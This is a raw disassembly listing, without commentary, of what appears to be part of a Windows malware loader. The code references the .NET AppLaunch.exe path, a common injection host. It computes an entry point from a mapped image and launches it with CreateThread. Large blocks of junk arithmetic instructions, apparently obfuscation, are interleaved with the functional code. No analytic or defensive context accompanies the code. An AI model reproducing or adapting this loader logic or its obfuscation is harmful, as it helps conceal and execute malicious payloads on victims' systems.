mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x24b02]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.00404de0
mov eax, dword [ebp - 0x24a18]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x24b03], al
test byte [ebp - 0x24b03], 1
je 0x4028b7
mov eax, dword [ebp - 0x24a88]
lea ecx, [ebp - 0x24b0c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00401430
lea ecx, [ebp - 0x24b02]
mov eax, dword [ebp - 0x24a88]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x24b02]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x24a88]
mov word [eax], cx
sbb edx, 0xd0
rol esi, 0xd
dec ebx
sub esi, 0x32
inc eax
rcr eax, 0x51
neg eax
imul edx
bswap eax
rcr ebx, 0x56
add eax, 0xe6
bswap edx
inc eax
imul ebx
inc eax
inc esi
rol esi, 0
rcr edx, 0x44
inc esi
bswap ebx
neg edx
sub eax, 0xad
dec edi
rcr esi, 0x79
sbb eax, 0xf8
rcl edx, 0xaf
imul esi
rol esi, 0xdf
rcl edi, 0xfa
rcr edx, 0x2e
sub edx, 0xe1
mov esi, 0x74
imul ebx
bswap edx
rcl edi, 0x27
imul eax
and edi, 0x78
sbb edx, 0xb9
inc esi
not edi
mov esi, 0xeb
rcr ebx, 0x3e
mov edi, 0xfd
rol esi, 0x33
not ebx
sub esi, 0xf0
neg edx
dec ebx
neg edx
dec edi
neg esi
sbb esi, 0xcc
and ebx, 0x5b
imul edi
imul ebx
rol ebx, 0xe2
ror esi, 0x37
imul esi
rol eax, 0x70
rol edx, 0xc7
imul esi
sbb eax, 0xb6
inc ebx
rcr ebx, 0x4f
not eax
sbb eax, 0xc6
mov eax, 0xc0
and ebx, 0xb5
and eax, 0x2e
add edi, 0xae
bswap edi
neg esi
inc ebx
rcr esi, 0x95
sbb esi, 0x12
ror edx, 0xf9
imul esi
and ebx, 0x30
or edx, 0xba
sub edi, 2
and edx, 0x58
and esi, 1
dec edx
or ebx, 0xf4
mov esi, 0xd4
ror eax, 0x1b
mov ebx, 0x51
sbb edx, 0xbd
rcl edi, 0x1a
and ebx, 0xb0
sbb edi, 0xf
not edx
imul eax
and eax, 0x90
imul esi
bswap edi
imul edi
rcr eax, 0xed
neg ebx
rcl eax, 0x7c
and eax, 0x8d
or esi, 0xf5
mov eax, 0xac
rol edx, 5
sub esi, 5
inc esi
inc edx
imul esi
mov eax, 0xb1
not eax
imul edx
mov edi, 0xf2
or eax, 0x4c
inc edi
rol edx, 0xe8
not edi
mov edx, 0xb6
rol eax, 0xe9
inc ebx
rcl edx, 0x96
rcr esi, 0x93
bswap esi
rcr edi, 0xcd
or edx, 0x21
neg esi
ror eax, 0x12
rcl eax, 0x37
and edi, 0x64
not edx
inc eax
rcr esi, 0xcc
inc esi
not ebx
imul ebx
ror edi, 0xe5
sub eax, 0x18
neg ebx
or edx, 0xb4
neg ebx
rcr eax, 0xad
sbb ebx, 0x12
dec edx
dec ebx
dec eax
dec ebx
neg esi
ror esi, 0x41
bswap edi
imul edi
or edi, 0xde
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a18]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x24b10], eax
test byte [ebp - 0x24b03], 1
je 0x402af6
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0x24a88]
lea eax, [ebp - 0x24b0c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00401430
mov eax, dword [ebp - 0x24b10]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
rcl esi, 0xfa
rol esi, 0x1f
rcl edx, 0x89
rol edi, 0x3d
sbb eax, 0x6a
rcl ebx, 0x15
add edx, 0xec
inc ebx
or edx, 0xf3
add edi, 0x26
dec edi
add eax, 0xd7
rcl eax, 0xb4
neg esi
add edx, 0x3a
rcl ebx, 0x8d
or esi, 0xff
inc ebx
dec esi
sub ebx, 0x78
rol esi, 0xba
dec edi
dec ebx
dec edi
ror edx, 0x9f
add esi, 0x39
add eax, 0xb8
imul ebx
add edi, 0x5b
imul edi
bswap esi
neg eax
rcr ebx, 0x7f
not edx
ror edx, 0x6a
sub edx, 0xd6
not edi
dec edx
bswap eax
or eax, 0x2e
ror edx, 0xbb
inc esi
sub eax, 0x57
sub esi, 0x7a
rol edx, 8
rol edi, 0x88
not esi
sub edi, 0x76
add edx, 0x11
ror esi, 0x64
imul edi
sub esi, 0x1a
mov edx, 0x9a
neg edx
imul ebx
inc edi
bswap edi
sbb eax, 0xee
add edi, 4
add edx, 0xbc
mov esi, 0x98
inc eax
rcl eax, 0xa8
ror ebx, 0xde
mov esi, 0x9e
imul eax
mov ebx, 4
add eax, 0xbe
bswap esi
rcr esi, 0x69
inc edx
neg eax
ror eax, 0x67
and edx, 0x70
bswap edx
sub edx, 0xa
rcr edi, 0x63
not esi
neg edi
rol edx, 0x2d
dec edx
add esi, 0xff
bswap esi
imul eax
sbb edi, 0x11
mov edx, 0x4f
sbb ebx, 0x69
bswap eax
rcr edx, 0xd4
sbb esi, 0x7f
and ebx, 0x73
sub ebx, 0x54
ror edx, 0x30
ror edx, 0xdb
bswap esi
add esi, 0x73
imul edx
sub edi, 3
inc edi
imul eax
neg esi
neg esi
bswap edi
ror esi, 0xe0
ror ebx, 0
imul edx
rol edi, 0xcb
rol edx, 0xe1
sbb edi, 0x5e
mov eax, 0x83
rcl ebx, 0xf1
sbb ebx, 0x84
rcl ebx, 0xb2
dec eax
rcr edi, 0x5a
neg eax
not esi
rcl edx, 0xb3
not eax
neg edx
rol eax, 0xc6
imul edi
neg eax
imul edx
add edi, 0x76
or eax, 0x1b
rol esi, 0xef
dec eax
rcl edx, 0x88
inc esi
dec ebx
neg esi
not edi
inc edx
mov edx, 0x7d
add ebx, 0xde
rcl ebx, 3
and edi, 0x39
and ebx, 0xd2
sbb edx, 0xd
not esi
mov eax, 0x40
rcr edi, 0xe5
imul edx
inc eax
bswap edx
add esi, 0x93
bswap eax
bswap eax
not edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x24b24
pop esi
pop edi
pop ebx
pop ebp
ret